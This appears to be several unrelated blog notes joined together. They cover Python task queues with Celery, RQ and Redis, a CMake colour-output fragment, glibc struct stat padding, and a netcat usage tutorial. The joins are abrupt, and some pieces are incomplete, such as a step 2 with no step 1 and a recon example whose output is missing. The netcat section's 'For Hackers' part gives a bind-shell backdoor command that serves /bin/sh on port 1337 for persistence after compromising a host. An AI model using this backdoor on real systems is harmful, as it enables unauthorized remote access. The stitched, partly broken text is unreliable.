There are many instances where your application has some expensive work to do, that would be not good to execute in the hot path. (e.g. responding to an HTTP request)
The typical solution is to enqueue a task in a queue and have a worker process it “offline”
In Python, Celery is a popular library for this. It uses backends for the actual queue. Popular backends are RabbitMQ and Redis.
RQ is another Python that supports Redis only.
RabbitMQ is designed to be a queue — it’s in the name.
Redis is a in memory key value store/database. (or “data structure” store). It includes a number of primitives that might be used to implement a queue. It’s basically a in memory hashmap. Keys are strings in a flat namespace. Value are a set of supported fundamental data types. Everything is serialized as it’s interacted with IPC.
List — (Implemented in RQ.) You can use opcodes like LPUSH and RPOP.
Pub/Sub — Unsure about this. (Possibly implemented in Celery?)
Stream — Advanced but apparently is not implemented in either Celery or RQ.
Celery has sleek Pythonic syntactic sugar for specifying a “Task” and then calling it from the client (web app). It completely abstracts the queue. It returns a future to the client (AsyncResult) — the interface is conceptually similar to std::async in C++.
RQ is less opinionated and any callable can be passed into this .enqueue() function, with arguments to call it with. This has the advantage that the expensive code does not need to have Celery as a dependency (to decorate it). However that is not a real downside, as you can always keep things separate by making Celery wrappers around otherwise dependency free Python code. But it is an addition level of layers.
Heroku offers support for this — you just need to add a new process to your Procfile for the celery/RQ worker process. Both celery/RQ generate a main.
Redis has other uses beyond being a queue: it can be a simple cache that you application accesses on the same server before accessing the real database server. It can also be used to implement a distributed lock (sounds fancy but is basically just a single entry in redis that clients can check to see if a “lock” is taken. Of course it’s more complicated than just that). Redis also supports transactions, in a similar way to transactional memory on CPUs. In general there are direct parallels from from local parallel programming to nearly everything in this distributed system world. That said there are unique elements — like the Redis distributed lock includes concepts like a timeout and a nonce in case the client that acquired the lock crashes or disappears forever. That is generally not something you’d see in a mutex implementation. Another difference is that even though accessing Redis is shared mutable state, clients probably don’t need some other out of band mutex because Redis implements atomicity likely. That’s different than local systems because even if the shared, mutable data type you’re writing to/reading from locally is atomic (like a int/word), you should still use a mutex/atomic locally due to instruction reordering (mutexes and atomics insert barriers).
This makes CMake pass -fcolor-diagnostics to clang. If you build on the command line, you’ll now have color. But the VSCode “output” pane will still be non-colored.
2 – Install the “Output Colorizer” extension from IBM.
the struct definition in the man page is not exactly accurate
glibc explicitly pads the struct with unused members which is intersting. I guess to reserve space for expansion of fields
if you want to see the real definition, a trick you can use is writing a test program that uses a struct stat, and compiling with -E to stop after preprocessing then look in that output for the definition
you can look in the glibc sources and the linux sources and see that they actually have to make their struct definitions match! (i think). since kernel space is populating the struct memory and usespace is using it, they need to exactly agree on where what members are
you can find some snarky comments in linux about the padding, which is pretty funny. for example (arch/arm/include/uapi/asm/stat.h)
because the structs are explicitly padded, if you do a struct designator initialization, you CANNOT omit the designators. if you do, the padded members will be initialized instead of the fields you wanted!
Netcat is a great tool for all things networking and is commonly nicknamed "the TCP/IP Swiss-army knife" due to its versatility and utility. An absolute must-know for sysadmins and hackers. In this article, I’ll go over a few common uses I have for it that I frequently forget after not using it for a while, primarily for my own personal reference.
Before I begin, I should point out that there are a few variants on netcat that have slightly different options and behaviors but are all essentially the same in "spirit and functionality", as the ncat man page describes it.
The original netcat comes from the OpenBSD package and was written by "Hobbit". This is the default version that comes with OS X and Ubuntu. The version that I use and will cover is the standard GNU Netcat, by Giovanni Giacobbi, which is a rewrite of the original. This available using brew on OS X. On Ubuntu it’s called "netcat-traditional" which you can apt-get and then run with nc.traditional. Lastly, there is ncat, which is a netcat implementation by our friends from the nmap team. It is designed to modernize netcat and adds features like SSL, IPv6, and proxying which aren’t available in the original(s).
Usage
At its core, netcat is a tool for creating arbitrary TCP connections, which looks like
$ netcat [host] [port]
where host is either an IP Address or a domain name, and port is the TCP port to connect to.
You can also use netcat to do the reverse: listen for arbitrary TCP connections. This looks like
$ netcat -l -p [port] [host]
Here, host is an optional parameter which lets you limit what host can create connections.
Example: Chat
Using these two behaviors, we can create a crude chat system. One one host, listen for connections on a port.
$ netcat -l -p 1337
On the same one, in another terminal, connect to it on that port.
$ nc localhost 1337
There won’t be a prompt, but when you enter text and press enter, it will appear in the other terminal. You can just as easily do this between different hosts and have a super basic chat setup.
Example: Curl-like behavior
You can also use netcat to emulate curl and interact with HTTP servers. Connect to the server on port 80 (or whatever port it’s running on) and you can then type out the HTTP request to send to it. When you’re finished, hit enter twice and it will send.
[mark:~]{ nc example.org 80
GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Content-Type: text/html
Content-Length: 349
Connection: close
Date: Wed, 05 Mar 2014 20:15:42 GMT
Server: ECSF (mdw/1383)
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>400 - Bad Request</title>
</head>
<body>
<h1>400 - Bad Request</h1>
</body>
</html>
As you can see here, we sent a bare-bones HTTP request (GET / HTTP/1.1) which was successfully sent to the server. The server responded with a 400, because our request didn’t contain enough information, but that’s not important; if we had filled in the right headers, it would have responded with the home page for example.org.
For Hackers
There are two applications for netcat that I find particularly useful in pen-testing situations.
Recon
The first is helpful for the recon stage, which is essentially getting information on your target. Sometimes network services may give away version information when an arbitrary network connection is made. For example, OpenSSH by default gives away it’s version information as well as information on the host, when you connect. For example,
The output isn’t as clear as OpenSSH, but we can confirm that MySQL is indeed running, and we can infer that the version is "5.5.33". For information on removing these banners, check out my blog post on it.
Persistence/Access
The other application is when you have achieved command execution, but not exactly shell access. You can use netcat to create a nifty backdoor which you can externally connect to. To create the backdoor, we’ll use the -e flag to tell netcat to execute a binary on receiving a connection. We want a shell, so we’ll say -e /bin/sh. The whole command will look like:
$ netcat -l -p 1337 -e /bin/sh
which will give you a backdoor on port 1337, which will then let you run commands upon connecting to that port. For a good example, check out my other blog post where I actually used this.
Conclusion
That was a quick overview of netcat including its basic functionality and some example use cases. Thanks for reading!
